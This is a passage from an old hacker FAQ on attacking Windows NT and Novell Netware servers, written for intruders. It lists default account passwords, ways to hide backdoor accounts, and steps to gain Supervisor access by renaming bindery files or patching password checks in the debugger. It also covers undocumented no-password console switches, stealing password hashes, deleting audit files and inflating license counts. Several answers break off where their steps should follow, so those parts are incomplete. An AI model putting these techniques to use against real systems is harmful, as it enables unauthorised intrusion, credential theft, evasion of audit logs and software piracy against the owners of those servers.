18.6 How can I detect that a machine is in fact NT on the network?

Hopefully it is a web server, and they've simply stated proudly "we're running NT", but don't expect that...

Port scanning will find some. Typically you'll see port 135 open. This is no guarantee it's not Windows 95, however. Using Samba you should be able to connect and query for the existence of HKEY_LOCAL_MACHINE\Software\Microsoft\WindowsNT and then check \CurrentVersion\CurrentVersion to determine the version running. If guest is enabled, try this first as Everyone has read permissions here by default.

Port 137 is used for running NetBios over IP, and since in the Windows world NetBios is used, certainly you can expect port 137 to be open if IP is anywhere in use around NT.

Another possible indication is checking for port 139. This tells you your target is advertising an SMB resource to share info, but it could be any number of things, such as a Windows 95 machine or even Windows for Workgroups. These may not be entirely out of the question as potential targets, but if you are after NT you will have to use a combination of the aforementioned techniques coupled with some common sense.

To simplify this entire process, Secure Networks Inc. has a freeware utility called NetBios Auditing Tool. This tool's intent is to test NetBios file sharing configurations and passwords on remote systems. It is discussed more in detail in the NT Client Attack section.

18.7 Can I do on-the-fly disk encryption on NT?

Try Shade. It allows you to create an encrypted disk device inside a file. This "device" can then be formatted using either NTFS or FAT and used as a regular disk. Shade encrypts on every write operation and decrypts on every read operation to this new device.

Look for Shade at Softwinter.

18.8 Does the FTP service allow passive connections?

I was playing around in the registry, looking for odd things, and found this strange entry under System\CurrentControlSet\Services\MSFTPSVC\Parameters:

EnablePortAttack: REG_DWORD:

If set to 1, you can do passive connections depending on the TCP port you use. A passive connection is where you can connect to FTP site alice.com, and from there connect to site bob.com. It is used by hackers because any odd connections at bob.com will appear in logs as coming from alice.com. Most typical is a port scan.

A port scanner for doing this from a Unix box can be found at Packetstorm.

18.9 What is this "port scanning" you are talking about?

Port scanning is a technique to check TCP/IP ports to see what services are available. For example port 80 is typically a web server, port 25 is SMTP used by Internet mail and so on. By scanning and seeing what TCP/IP ports are listening at the end of a TCP/IP address, you can get an idea as to what type of box the target might be, what services are available, and possibly plan an attack if you are aware of an exploit involving a particular service.

If port 135, 137, 138, and 139 are open on the target of a scan, it is quite possible that the target is NT (although it could be Win95 or even WFW 3.11, see the questions and answers above).

18.10 Does NT have bugs like Unix' sendmail?

If the server is running a POP3 server like Exchange, you can use a brute force technique to guess passwords. Odds are that the sys admin is not logging or looking at logs for this stuff. In particular, if you are dealing with a sys admin that isn't used to the wild and wooly Unix world, it may not even occur to the admin to look. This is something that NT folks are just now having to face, whereas their Unix admin counterparts have had to maintain this level of scrutiny for a while.

18.11 How is password changing related to "last login time"?

Let's say an admin is checking the last time certain users have logged in by doing a NET USER /DOMAIN. Is the info accurate? Most of the time it will NOT be.

Most users do not login directly to the Primary Domain Controller (PDC), they login to a Backup Domain Controller (BDC). BDCs do NOT contain readonly versions of SAM, they contain read-write versions. To keep the already ungodly amount of network traffic down, BDCs do not tell the PDC that they have an update of the last login time until a password change has been done. And the NET USER /DOMAIN command checks the PDC, so last login time returned from this command could be wildly off (it could even show NEVER).

As a hacker, if you happen to know that password aging is not enforced, then you can bet that last login times will probably not be very accurate

18.12 Can sessions be hijacked?

In theory, however no one has yet coded the exploit. It would involve a complex spoofing job where not only would the session have to be hijacked at the transport level (getting all of the ACK/NACK numbering correct), but the tree ID (TID) and user ID (UID) would have to be spoofed at the redirector and server level respectively. We are talking SMB at this point.

A more likely session to be hijacked would be a telnet session to an NT server, but this applies to any straight telnet session, NT or not, and is beyond the scope of this question. For more information refer to http://www.nmrc.org/files/unix/ip-exploit.txt..

18.13 Are "man in the middle" attacks possible?

Ealry versions of LANMAN send the password in the clear -- which is definately sniffer-bait. But the challenge/response authentication used by LANMAN 2.1 and earlier is subject to possible attack -- namely a plaintext attack. Since the challenge is plaintext, an attacker can acquire known plaintext/ciphertext pairs. Offline, the attacker can then test a guess at a password by using it to generate a key, encrypting the plaintext, and comparing it to the corresponding ciphertext. If it matches, the password is compromised.

Since case doesn't matter, a brute force attack is theoretically possible against plaintext/ciphertext pair obtained via a known plaintext attack.

However, this is simply offline attacking. A true man-in-the-middle attack allows a third party to intercept and replace components of the challenge/response conversation with their own, acquiring the password or even taking over the session itself. However, the easier of the two is getting the password.

By catching the start of a conversation and forging the challenge, the client would response with the response to the server, and the attacker would know a part of the equation, shortening the time and effort needed to break the plaintext/ciphertext pair.

By "precompiling" a list of response/password pairs, the password could be determined even quicker.

NT LM 0.12 uses MD4 to generate keying material, and since upper and lower case are allowed, the full 56 bits allowed by DES can be used. This does not eliminate the problem -- it simply increases the difficulty of brute force against a plaintext/ciphertext pair.

However this does nothing towards a realtime attack. The best method would be as follows:

It is also possible in theory to catch the session before the authentication process even starts. For example:

This attack has been partially implemented with the c2myazz file, which forces a plaintext login.

18.14 What about TCP Sequence Number Prediction?

This is possible, but unlikely, on anything requiring the TID and UID as a part of the spoof. TCP Sequence Number Prediction involves guessing what the TCP numbering sequence is, and inserting packets to (typically) execute commands on the target host with the proper sequence number.

18.15 What's the story with buffer overflows on NT?

Dildog has written the definative paper on the subject. Check out "The Tao of Windows Buffer Overflow" at Cult of the Dead Cow for a complete picture of buffer overflows, how they work, and how to code your own exploits for Microsoft operating systems.


Top | Next: Netware Accounts | Previous: NT Logging and Backdoors | Table of Contents

19.0 Netware Accounts


The following section deals with Accounts on Netware systems.


19.1 What are common accounts and passwords for Netware?

Out of the box Novell Netware has the following default accounts - SUPERVISOR, GUEST, and Netware 4.x has ADMIN and USER_TEMPLATE as well. All of these have no password to start with. Virtually every installer quickly gives SUPERVISOR and ADMIN a password. However, many locations will create special purpose accounts that have easy-to-guess names, some with no passwords. Here are a few and their typical purposes:

        Account         Purpose
        ----------      ------------------------------------------------------
        PRINT           Attaching to a second server for printing
        LASER           Attaching to a second server for printing
        HPLASER         Attaching to a second server for printing
        PRINTER         Attaching to a second server for printing
        LASERWRITER     Attaching to a second server for printing
        POST            Attaching to a second server for email
        MAIL            Attaching to a second server for email
        GATEWAY         Attaching a gateway machine to the server
        GATE            Attaching a gateway machine to the server
        ROUTER          Attaching an email router to the server
        BACKUP          May have password/station restrictions (see below), used
                        for backing up the server to a tape unit attached to a
                        workstation. For complete backups, Supervisor equivalence
                        is required.
        WANGTEK         See BACKUP
        FAX             Attaching a dedicated fax modem unit to the network
        FAXUSER         Attaching a dedicated fax modem unit to the network
        FAXWORKS        Attaching a dedicated fax modem unit to the network
        TEST            A test user account for temp use
        ARCHIVIST       Palidrome default account for backup
        CHEY_ARCHSVR    An account for Arcserve to login to the server from    
                        from the console for tape backup. Version 5.01g's
                        password was WONDERLAND. Delete the Station
                        Restrictions and use SUPER.EXE to toggle this 
                        account and you have an excellent backdoor.
        WINDOWS_PASSTHRU Although not required, per the Microsoft Win95
                        Resource Kit, Ch. 9 pg. 292 and Ch. 11 pg. 401 you
                        need this for resource sharing without a password.
        ROOT            Found on Shiva LanRovers, gets you the command-line
                        equiv of the AdminGUI. By default, no password. A lot 
                        admins just use the AdminGUI and never set up a 
                        password.

VARs (Value Added Resellers) repackage Netware with their own hardware or with custom software. Here is a short list of known passwords:

        VAR      Account     Password  Purpose
        -------  ----------  --------  -------------------------------------------
        STIN     SUPERVISOR  SYSTEM    Travel agency running SABRE
        STIN     SABRE       -none-    Like a guest account
        STIN     WINSABRE    WINSABRE  Windows guest account for NW 2.15c
        STIN     WINSABRE    SABRE     Windows guest account for NW 3.x
        HARRIS   SUPERVISOR  HARRIS    Tricord reseller, ships NW preinstalled
        NETFRAME SUPERVISOR  NF        Also NETFRAME and NFI
        NETFRAME             aaa       New installation default password       

This should give you an idea of accounts to try if you have access to a machine that attaches to the server. A way to "hide" yourself is to give GUEST or USER_TEMPLATE a password. Occassionally admins will check up on GUEST, but most forget about USER_TEMPLATE. In fact, I forgot about USER_TEMPLATE until itsme reminded me.

This list is also a good starting point for account names for "backdoors". In some environments these account names will be left alone, particularly in large companies, especially Netware 4.x sites with huge trees. And don't forget account names like Alt-255 or NOT-LOGGED-IN.

19.2 How can I figure out valid account names on Netware?

Any limited account should have enough access to allow you to run SYSCON, located in the SYS:PUBLIC directory. If you get in, type SYSCON and enter. Now go to User Information and you will see a list of all defined accounts. You will not get much info with a limited account, but you can get the account and the user's full name.

If your in with any valid account, you can run USERLST.EXE and get a list of all valid account names on the server.

If you don't have access (maybe the sys admin deleted the GUEST account, a fairly common practice), you can't just try any account name at the LOGIN prompt. It will ask you for a password whether the account name is valid or not, and if it is valid and you guees the wrong password, you could be letting the world know what you're up to if Intruder Detection is on. But there is a way to determine if an account is valid.

From a DOS prompt use a local copy (on your handy floppy you carry everywhere) of MAP.EXE. After you've loaded the Netware TSRs up through NETX or VLM, Try to map a drive using the server name and volume SYS:. For example:

MAP G:=TARGET_SERVER/SYS:APPS

Since you are not logged in, you will be prompted for a login ID. If it is a valid ID, you will be prompted for a password. If not, you will immediately receive an error. Of course, if there is no password for the ID you use you will be attached and mapped to the server. You can do the same thing with ATTACH.EXE:

ATTACH TARGET_SERVER/loginidtotry

The same thing will happen as the MAP command. If valid, you will be prompted for a password. If not, you get an error.

Another program to check for valid users and the presence of a password is CHKNULL.EXE by itsme. This program checks for users and whether they have a password assigned.

In 4.1 CHKNULL shows you every account with no password and you do not have to be logged in. For this to work bindery emulation must be on. But there is another way to get them in 4.1.

Once you load up the VLMs you may be able to view the entire tree, or at least all of the tree you could see if logged in. Try this:

CX /T /A /R

During the installation of 4.1, [Public] has browse access to the entire tree because [Public] is added to [Root] as a Trustee. The Inherited Rights Filter flows this stuff down unless explicitly blocked. If you have the VLMs loaded and access to CX, you don't even have to log in, and you can get the name of virtually every account on the server.

If CX /T /A /R works, then NLIST USER /D will yield a massive amount of information, including who belongs to what groups, and their object ID. By combining the information between these two along with other NLIST options, you can learn a lot about an NDS tree and a server. Here a few more that come in handy:

        NLIST GROUPS /D       -List of groups, descriptions, and members.
        NLIST SERVER /D       -List of servers, versions, if attached you can determine if accounting is installed.
        NLIST /OT=* /DYN /D   -List of all readable objects, including dynamic objects, names of NDS trees, etc. 

Between using CHKNULL, CX, and NLIST an intruder could not only learn who is in what group and who has access to what, but certainly could learn who the administrators are, and specifically select accounts for attack.

Finally, consider using the Intruder utility from NMRC's Pandora v3.0. This utility has a mode that allows you to give it a list of potential account names, and it will tell you if they are valid and even if they have no password. See Pandora for details.


Top | Next: Netware Passwords | Previous: NT Misc. Attack Inf | Table of Contents

20.0 Netware Passwords


This section deals with Netware passwords.


20.1 How do I access the password file in Netware?

Contrary to not-so-popular belief, access to the password file in Netware is not like Unix - the password file isn't in the open. All objects and their properties are kept in the bindery files on 2.x and 3.x, and kept in the NDS database in 4.x. An example of an object might be a printer, a group, an individual's account etc. An example of an object's properties might include an account's password or full user name, or a group's member list or full name. The bindery files attributes (or flags) in 2.x and 3.x are Hidden and System, and these files are located on the SYS: volume in the SYSTEM subdirectory. Their names are as follows:

        Netware version         File Names
        ---------------         ----------
        2.x                     NET$BIND.SYS, NET$BVAL.SYS
        3.x                     NET$OBJ.SYS, NET$PROP.SYS, NET$VAL.SYS

The NET$BVAL.SYS and NET$VAL.SYS are where the passwords are actually located in 2.x and 3.x respectively.

In Netware 4.x, the files are located in a different location on the SYS: volume. It is a hidden directory called _NETWARE. In this directory are located the NDS files, license files, and a number of other system-related files such as login scripts and auditing files.

        File                    What it is
        --------------          --------------------------
        VALUE.NDS               Object and property values
        BLOCK.NDS               Extended property values
        ENTRY.NDS               Object and property types
        PARTITIO.NDS            NDS partition info (replication info, etc.)
        MLS.000                 License file.
        VALINCEN.DAT            License validation

To view the hidden SYS:_NETWARE directory, you can try to use RCONSOLE and the Scan Directory option, although later versions of Netware 4.x have patched this (starting with 410pt3). Here is another way to view these files, and potentially edit them. After installing NW4 on a NW3 volume, reboot the server with a 3.x SERVER.EXE. On volume SYS will be the _NETWARE directory. SYS:_NETWARE is hidden better on 4.1 than 4.0x, but in pre-410pt3 patched 4.1 you can still see the files by scanning directory entry numbers using NCP calls (you need the APIs for this) using function 0x17 subfunction 0xF3.

Using JCMD.NLM, it is possible to access SYS:_NETWARE, and do many fun things, like copy NDS, etc. But what hackers have asked for is a way to access this directory WITHOUT uploading an NLM via RCONSOLE. You can try using NETBASIC.NLM (see the Netware Console Attacks section for details), and actually copy NDS files to a directory you can access (like SYS:PUBLIC).

20.2 What's the full story with Netware passwords?

A Novell proprietary algorithm takes the password, and produces a 16 byte hash. This algorithm is the same for versions 3.x and 4.x of Netware. The algorithm is also inside the LOGIN.EXE file used by the client when logging in. The details of the algorithm itself can be found in the CRYPT.TXT file included with Pandora (see Pandora for details).

The 16 byte hash is stored within the bindery files in Netware 3.x and NDS in Netware 4.x. Since the object ID is used in the algorithm, it adds the equivalent of a salt. This along with the fact that the password length plays into the algorithm increases the overhead in cracking multiple passwords at once.

Fortunately for the cracker, both the object ID and the password length are stored with the hash, along with that fact that lower case letters are converted to upper case before generating the hash does simplify the process slightly. Password crackers can brute force a little easier since they can eliminate trying lower case letters and concentrate on a particular password length.

20.3 How does password cracking work with Netware?

Because of the complexity of the algorithm, using it the way it was designed is somewhat slow for cracking, especially by brute force. However the algorithm can be mathematically improved, and in fact WAS improved and optimized just for cracking purposes. See Jitsu-Disk's document CRYPT.TXT that was included with Pandora that details this. The algorithm is dozens of times faster than Novell's original code. However brute force is slow work with Netware, so only use it as a last resort, especially if you have a LOT of time.

This is especially true with regards to the brute force crackers that attack from the client. Since you are dealing with the network itself, expect AT BEST about a password attempt a second from most network cracking utilities.

20.4 How does password cracking work with Netware?

With Pandora v3.0 you have the fastest dictionary cracking available. And if you must attack from a client, make sure if you are using a cracker that you are using dictionary attacking.

For Netware 3.x systems, consider using Al Grant's Bindery tool.

20.5 Can an Sys Admin prevent/stop Netware password hash extraction?

The best way for a Sys Admin to prevent Netware password hash extraction is to at least try the following:

You see, once the server has been compromised, sometimes not even completely, there will be NOTHING to stop unwanted password recovery. Hackers, just do the opposite of the above items and you'll be fine ;-)

20.6 Can I reset an NDS password with just limited rights?

There is a freeware utility called N4PASS, that is meant for Netware 4.10 (uses NDS calls and is not bindery based). The intention of this package is to enable a Help Desk to reset passwords for users without granting them tons of rights. It uses full logging and does not require massive ACL manipulation to do it.

Obviously being set up to use this utility opens a few doors. You can download it here from Novellfans.com.

A couple of interesting things about this utility -- if configured incorrectly the server may be compromised in a number of ways. For instance, the password generated is a calculation that uses a 'temp filename', the date, the user's loginname, helpdesk login name, seed value, and a few other items. (its in the n4pass.txt file)

N4PASS is not set to purge immediately, the file is salvagable. Also, if the rights to the N4PASS directory are too open, you can discover the default password, among other things. The text file included with the utility covers this, so read it carefully if you are installing it. If you are hacking, read it carefully too ;-)

It is critical that access to the sys:\n4pass\password is secure since any 'temp file' (.1st extension) can cause the 'password reset' for the person listed in the 'temp file'.

20.7 What is OS2NT.NLM?

OS2NT.NLM is a Novell-supplied NLM for recovering/fixing Admin, like after it becomes an Unknown object, as opposed to User -- especially after a DSREPAIR. This module is considered a "last resort" NLM and you must contact Novell to use it. While I haven't seen it, it is supposed to be on one of Novell's FTP sites. It supposedly is customized by Novell to work with your serial number and is a one-time use NLM. You have to prove to Novell who you are and that your copy of Netware is registered.

I would suspected it is possible that this NLM could be hacked to get around the one-time use and serial number/password thing, but a restore of NDS from a good backup would accomplish things better. This way is a little destructive.

20.8 How does password encryption work?

From itsme -

the password encryption works as follows:
 1- the workstation requests a session key from the server
     (NCP-17-17)
 2- the server sends a unique 8 byte key to the workstation

 3- the workstation encrypts the password with the userid,
     - this 16 byte value is what is stored in the bindery on the server

 4- the WS then encrypts this 16 byte value with the 8 byte session key
    resulting in 8 bytes, which it sends to the server
     (NCP-17-18 = login), (NCP-17-4a = verify pw) (NCP-17-4b = change pw)

 5- the server performs the same encryption, and compares its own result
    with that sent by the WS

-> the information contained in the net$*.old files which can be found
   in the system directory after bindfix was run, is enough to login
   to the server as any object. just skip step 3

20.9 Can I login without a password?

If you have acquired the one-way hash from Bindery or NDS files, you have enough info to login without password, as stated by Itsme in the previous section. Pandora v3.0 includes tools for accomplishing this -- see Pandora for details.

20.10 What's with Windows 95 and Netware passwords?

Windows 95 has its own password file, and uses this file to store passwords to Windows 95 itself as well as Netware and NT servers. The problem here is that the PWL file is easily cracked by brute force, by using exploit code readily available on the Internet. To keep this from happening either Service Pack 1 should be applied (see Microsoft) or disable password caching.

But you can still access the WIN386.SWP file. Either using a disk utility like DiskEdit from Norton or by booting from DOS, you can access the swap file and scan it for the password in plaintext. Look for a string like nwcs and the password will follow that.


Top | Next: Netware Console Attacks | Previous: Netware Accounts | Table of Contents

21.0 Netware Console Attacks


This section deals with attacking at the Netware Console.


21.1 What's the "secret" way to get Supe access Novell once taught CNE's?

Before I start this section, let me recommend another solution, my God, ANY other solution is better than this! If you are running 3.x, jump to the end of this section.

The secret method is the method of using a DOS-based sector editor to edit the entry in the FAT, and reset the bindery to default upon server reboot. This gives you Supervisor and Guest with no passwords. The method was taught in case you lost Supervisor on a Netware 2.15 server and you had no supe equivalent accounts created. It also saves the server from a wipe and reboot in case the Supervisor account is corrupt, deleted, or trashed.

While you get a variety of answers from Novell about this technique, from it doesn't work to it is technically impossible, truth be it it can be done. Here are the steps, as quoted from comp.os.netware.security, with my comments in [brackets]:

[start of quote] A Netware Server is supposed to be a very safe place to keep your files. Only people with the right password will have access to the data stored there. The Supervisor (or Admin) user's password is usually the most well kept secret in the company, since anyone that has that code could simply log to the server and do anything he/she wants.

But what happens if this password is lost and there's no user that is security-equivalent to the supervisor? [Use SETPWD.NLM, instead of this process, see section 02-5 - S.N.] What happens if the password system is somehow damaged and no one can log to the network? According to the manual, there's simply no way out. You would have to reinstall the server and try to find your most recent backup.

Fortunately, there is a very interesting way to gain complete access to a Netware server without knowing the Supervisor's (or Admin's) password. You may imagine that you would have to learn complex decryption techniques or even type in a long C program, but that's not the case. The trick is so simple and generic that it will work the same way for Netware 2.x, 3.x and 4.x.

The idea is to fool Netware to think that you have just installed the server and that no security system has been estabilished yet. Just after a Netware 2.x or 3.x server is installed, the Supervisor's password is null and you can log in with no restriction. Netware 4.x works slightly differently, but it also allows anyone to log in after the initial installation, since the installer is asked to enter a password for the Admin user.

But how can you make the server think it has just been installed without actually reinstalling the server and losing all data on the disk? Simple. You just delete the files that contain the security system. In Netware 2.x, all security information is stored in two files (NET$BIND.SYS and NET$BVAL.SYS). Netware 3.x stores that information in three files (NET$OBJ.SYS, NET$VAL.SYS and NET$PROP.SYS). The all new Netware 4.x system stores all login names and passwords in five different files (PARTITIO.NDS, BLOCK.NDS, ENTRY.NDS, VALUE.NDS and UNINSTAL.NDS [This last file may not be there, don't worry - S.N.]).

One last question remains. How can we delete these files if we don't have access to the network, anyway? The answer is, again, simple. Altough the people from Novell did a very good job encrypting passwords, they let all directory information easy to find and change if you can access the server's disk directly, using common utilities like Norton's Disk Edit. Using this utility as an example, I'll give a step-by-step procedure to make these files vanish. All you need is a bootable DOS disk, Norton Utilities' Emergency Disk containing the DiskEdit program and some time near the server.

1. Boot the server and go to the DOS prompt. To do this, just let the network boot normally and then use the DOWN and EXIT commands. This procedure does not work on old Netware 2.x servers and in some installations where DOS has been removed from memory. In those cases, you'll have to use a DOS bootable disk.

2. Run Norton's DiskEdit utility from drive A:

3. Select "Tools" in the main menu and then select "Configuration". At the configuration window, uncheck the "Read-Only" checkbox. And be very careful with everything you type after this point.

4. Select "Object" and then "Drive". At the window, select the C: drive and make sure you check the button "physical drive". After that, you'll be looking at your physical disk and you be able to see (and change) everything on it.

5. Select "Tools" and then "Find". Here, you'll enter the name of the file you are trying to find. Use "NET$BIND" for Netware 2, "NET$PROP.SYS" for Netware 3 and "PARTITIO.NDS" for Netware 4. It is possible that you find these strings in a place that is not the Netware directory. If the file names are not all near each other and proportionaly separated by some unreadable codes (at least 32 bytes between them), then you it's not the place we are looking for. In that case, you'll have to keep searching by selecting "Tools" and then "Find again". [In Netware 3.x, you can change all occurences of the bindery files and it should still work okay, I've done it before. - S.N.]

6. You found the directory and you are ready to change it. Instead of deleting the files, you'll be renaming them. This will avoid problems with the directory structure (like lost FAT chains). Just type "OLD" over the existing "SYS" or "NDS" extension. Be extremely careful and don't change anything else.

7. Select "Tools" and then "Find again". Since Netware store the directory information in two different places, you have to find the other copy and change it the same way. This will again prevent directory structure problems.

8. Exit Norton Disk Edit and boot the server again. If you're running Netware 2 or 3, your server would be already accessible. Just go to any station and log in as user Supervisor. No password will be asked. If you're running Netware 4, there is one last step.

9. Load Netware 4 install utility (just type LOAD INSTALL at the console prompt) and select the options to install the Directory Services. You be prompted for the Admin password while doing this. After that, you may go to any station and log in as user Admin, using the password that you have selected.

What I did with Norton's Disk Edit could be done with any disk editing utility with a "Search" feature. This trick has helped me save many network supervisors in the last years. I would just like to remind you that no one should break into a netware server unless authorized to do it by the company that owns the server. But you problably know that already. [end of quote]

I actually had this typed up but kept changing it, so I stole this quote from the newsgroup to save me retyping ;-)

Now the quicky for 3.x users. Use LASTHOPE.NLM, which renames the bindery and downs the server. Reboot and you have Supe and Guest, no password.

21.2 How do I use SETPWD.NLM?

You can load SETPWD at the console or via RCONSOLE. If you use RCONSOLE, use the Transfer Files To Server option and put the file in SYS:SYSTEM.

For 3.x: LOAD [path if not in SYS:SYSTEM]SETPWD [username] [newpassword]

For 4.x: set bindery context = [context, e.g. hack.corp.us] LOAD [path if not in SYS:SYSTEM]SETPWD [username] [newpassword]

In 4.x the change is replicated so you have access to all the other servers in the tree. And don't forget, you must follow the password requirements for this to work -- if the account you are changing normally requires a 6 character password, then you'll need to supply a 6 character password.

21.3 I don't have SETPWD.NLM or a disk editor. How can I get Supe access?

If you have two volumes or some unallocated disk space you can use this hack to get Supe. Of course you need physical access but it works. I got this from a post in comp.os.security.netware

  - Dismount all volumes
  - Rename SYS: to SYSOLD:
  - Rename VOL1: (or what ever) to SYS: or create new SYS: on new disk
  - Reboot server
  - Mount SYS: and SYSOLD:
  - Attach to server as Supervisor (Note: login not available)
  - Rename SYSOLD:SYSTEM\NET$***.SYS to NET$****.OLD
  - Dismount volumes
  - Rename volume back to correct names
  - Reboot server
  - Login as Supervisor, no password due to new bindery
  - Run BINDREST
  - You are currently logged in as Supe, you can create a new user as
    Supe equiv and use this new user to reset Supe's password, whatever.

21.4 What's the "debug" way to disable passwords?

You must be at the console to do this:

/left-shift//right-shift//alt//esc/          Enters Debugger
type "d VerifyPassword 6"    Write down 6 byte response for later use
type "c Verifypassword=B8 0 0 0 0 C3"    Sets system to turn off pword checks
type "g"    To make the system change and drop you back into the console

to turn password checking back on...

/left-shift//right-shift//alt//esc/          Enters Debugger
type "c VerifyPassword= xx xx xx xx xx xx"   Where xx's are the previous 
recorded numbers that where written down.
type "g"   To make system changes and drop you back to into the console

Teiwaz updated these steps to make things easier and workable. And one other note -- this will NOT disable password checking in 4.x. Sorry....

21.5 How do I defeat console logging?

Here you need console and Supervisor access. The site is running 3.11 or higher and running the CONLOG.NLM. Any site running this is trapping all console messages to a file. If you run SETPWD at the console, the response by SETPWD is written to a log file. Here's the steps for determining if it is running and what to do to defeat it:

21.6 Can I set the RCONSOLE password to work for just Supervisor?

Yes and no. In version 3.x, the Supe password always works.

A common mistake regarding 3.x RCONSOLE passwords is to use a switch to use only the Supervisor password. It works like this:

LOAD REMOTE /P=

instead of

LOAD REMOTE RCONPASSWORD

The admin believes /P= turns off everything except the Supe password for RCONSOLE. In fact the password is just set to /P= which will get you in! The second most common mistake is using -S, and the third is "".

Version 4.1 is a bit different. Here's how it works:

LOAD REMOTE SECRET

becomes

LOAD REMOTE -E 870B7E366363

Another note - to ensure that Supervisor's password will work with RCONSOLE (Netware 4.02 or higher), add the hidden -US switch:

LOAD REMOTE -E 870B7E366363 -US

Another undocumented switch is -NP which is No Password!

21.7 How can I get around a locked MONITOR?

There is a simple and easy way to do this in 3.11 if you have a print server running on the file server. The following exploits a bug in 3.11:

For both Netware 3.x and 4.x, try the debug disable steps as outlined earlier. You can type any password in to unlock the console, besides disabling 3.x password protection altogether.

For Netware 4.x, try this from the console:

In NetWare 5.00, the console lock function has been moved from MONITOR.NLM into SCRSAVER.NLM.

The "g NWDSLogout" is not really necessary and can be replaced with simply "g", but then you get an error message on the console.

21.8 Where are the Login Scripts stored in Netware 4.x and can I edit them?

The Login Scripts are stored in, you guessed it, SYS:_NETWARE. Unlike the binary files used in NDS, these files are completely editable by using EDIT.NLM. Doing an RCONSOLE directory scan in SYS:_NETWARE will turn up files with extensions like .000, these are probably Login Scripts.

Pull up a few, they are plain text files. For example, you found 00021440.000:

LOAD EDIT SYS:_NETWARE\00021440.000

If it is a Login Script, you will see it in plain english and you can certainly edit and save it. This completely bypasses NDS security, and is the main weakness. You can use this to grant a user extra rights that can lead to a number of compromises, including full access to the file system of any server in the tree.

21.9 What if I can't see SYS:_NETWARE?

Starting with Novell's 410pt3 patch you can no longer see the _NETWARE from RCONSOLE. This is hardly surprising as the ability to look into this directory has become increasingly difficult with each release of patches.

With Netware 4.11 you can't see it at all with RCONSOLE. Although with patch level IWSP5 one is able to see SYS:_NETWARE from RCONSOLE's "Directory Scan" function.

21.10 So how do I access SYS:_NETWARE?

Using JCMD.NLM (see the Resources section), it is possible to access SYS:_NETWARE, and do many fun things, like copy NDS, etc. But what hackers have asked for is a way to access this directory WITHOUT uploading an NLM via RCONSOLE. So here it is.

Starting with the Green River beta software, Novell licensed NETBASIC.NLM (actually, everything in the SYS:NETBASIC directory) from HiTecSoft, Inc. HiTecSoft is really cool -- it allows some sophisticated apps to be developed with a Visual-Basic-type environment, including NLMs without using Watcom's compiler and linker.

When you load up NETBASIC.NLM, you type "shell" and you get a DOS-styled shell. It is actually still an NLM, but the "commands" include DOS-like commands like cd, dir, copy, etc. So the trick is to simply "cd _NETWARE" and bingo -- you're in. At this point you can do all kinds of fun things. Remember, you can still use JCMD.NLM, but the point is that this is kind of "built in". Fun things to do include -

 - Make copies of any of the files, including the license(s), NDS, login
   scripts, auditing files, etc. 
 - Copy these files to SYS:LOGIN and you can copy them off the server 
   WITHOUT logging in.
 - Copy off the license file (MLS.000) and play around with a hex editor.
   Copy up the modified file and name it MLS.001 and you've doubled your
   license count (bear in mind this is illegal).
 - Modify login scripts for fun, profit, and gaining extra rights.
 - Poke around with auditing files, even delete NET$AUDT.CAF and files 
   with an extension of .$AF in case your auditor forgot their password.

Thanks to the members of SIC (Hardware, Cyberius, and Jungman) for discovering the NETBASIC hole, and pointing out all of the license info.

21.11 How can I boot my server without running STARTUP.NCF/AUTOEXEC.NCF?

For Netware 3.xx, use these command-line options:

SERVER -NS to skip STARTUP.NCF, and SERVER -NA to skip AUTOEXEC.NCF

NetWare 2.x does not HAVE the files STARTUP.NCF and AUTOEXEC.NCF. Instead they hard-code all the information into NET$OS.EXE, so you will have to rebuild it to change anything.

21.12 What else can be done with console access?

If a user in any context of a tree has Supervisor rights to a single server, anyone with console access to that server can gain Admin Admin rights. Remote servers in remote offices are likely candidates for this. Here's how to do this:

To defeat this, a sys admin needs to make sure there are no replicas with sensative accounts on remote servers.


Top | Next: Netware Client Attacks | Previous: Netware Passwords | Table of Contents

22.0 Netware Client Attacks


This section deals with attacking Netware remotely.


22.1 What is the cheesy way to get Supervisor access?

The cheesy way is the way that will get you in, but it will be obvious to the server's admin that the server has been compromised. This technique works for 3.11.

Using NW-HACK.EXE, if the Supervisor is logged in NW-HACK does the following things. 1) The Supervisor password is changed to SUPER_HACKER, 2) every account on the server is made a supe equivalent, and 3) the sys admin is going to know very quickly something is wrong. What the admin will do is remove the supe rights from all accounts that are not supposed to have it and change the Supervisor password back. The only thing you can do is leave a backdoor for yourself (see the Backdoor section).

22.2 How can I login without running the System Login Script in Netware 3.x?

Often an admin will try and prevent a user from getting to DOS or breaking out of the System Login Script to "control" the user. Here's to way to prevent that -

22.3 How can I get IP info from a Netware server remotely?

There is an undocumented API call that can be done, assuming you have the Netware SDK. Search through support.novell.com for a document called "Retrieving IP Interface Information". This info allows you to retrieve IP info on a Netware server. The document details exactly how to make the call.

22.4 Does 4.x store the LOGIN password to a temporary file?

Yes and no. No to 4.02 or higher. Here's the scoop on 4.0.

The version of LOGIN.EXE that shipped with 4.0 had a flaw that under the right conditions the account and password could be written to a swap file created by LOGIN.EXE. Once this occured, the file could be unerased and the account and password retrieved in plain text.

22.5 Everyone can make themselves equivalent to anyone including Admin. How?

A couple of things might cause this. One, I'd check the rights for [PUBLIC], and secondly I'd check the USER_TEMPLATE id for excessive rights. The Write right to the ACL will allow you to do some interesting things, including making yourself Admin equivalent. For gaining equivalence to most anything else you need only Read and Compare.

The implication should be obvious, but I'll spell it out anyway. A backdoor can be made if an account is set up this way. Let's say you've created an account called TEST that has enough rights to do this kind of thing. Simply go in as the TEST account, make yourself Admin equivalent, do your thing, remove the Admin equivalent, and get the hell out. Neat and sweet.

22.6 Can Windows 95 bypass NetWare user security?

I am unsure as to the conditions (if anyone knows, please forward me the info) but if your .PWL file is around 900 bytes versus 600 bytes, your workstation will log in without prompting you for a password. This bug was working as of December 1995, and I would think at this point patched via the latest service pack.

Two ways this can be abused -- on some systems generating the longer file you can simply make sure you generate a .PWL file with the target account name and reboot using that .PWL file.

The other way is to simply collect the .PWL file from an unattended workstation and boot using it.

22.7 What is Packet Signature and how do I get around it?

Packet signatures works by using an intermediate step during the encrypted password login call, to calculate a 64-bit signature. This block is never transmitted over the wire, but it is used as the basis for a cryptographically strong signature ("secure hash") on the most important part of each NCP packet exchange.

A signed packet can indeed be taken as proof sufficient that the packet came from the claimed PC.

NCP Packet Signature is Novell's answer to the work of the folks in the Netherlands in hacking Netware. The idea behind it is to prevent forged packets and unauthorized Supervisor access. It is an add-on option in 3.11, but a part of the system with 3.12 and 4.x. Here are the signature levels at the client and server:

Packet Signature Option and meaning:
0 = Don't do packet signatures
1 = Do packet signatures if required
2 = Do packet signatures if you can but don't if the other end doesn't support them
3 = Require packet signatures

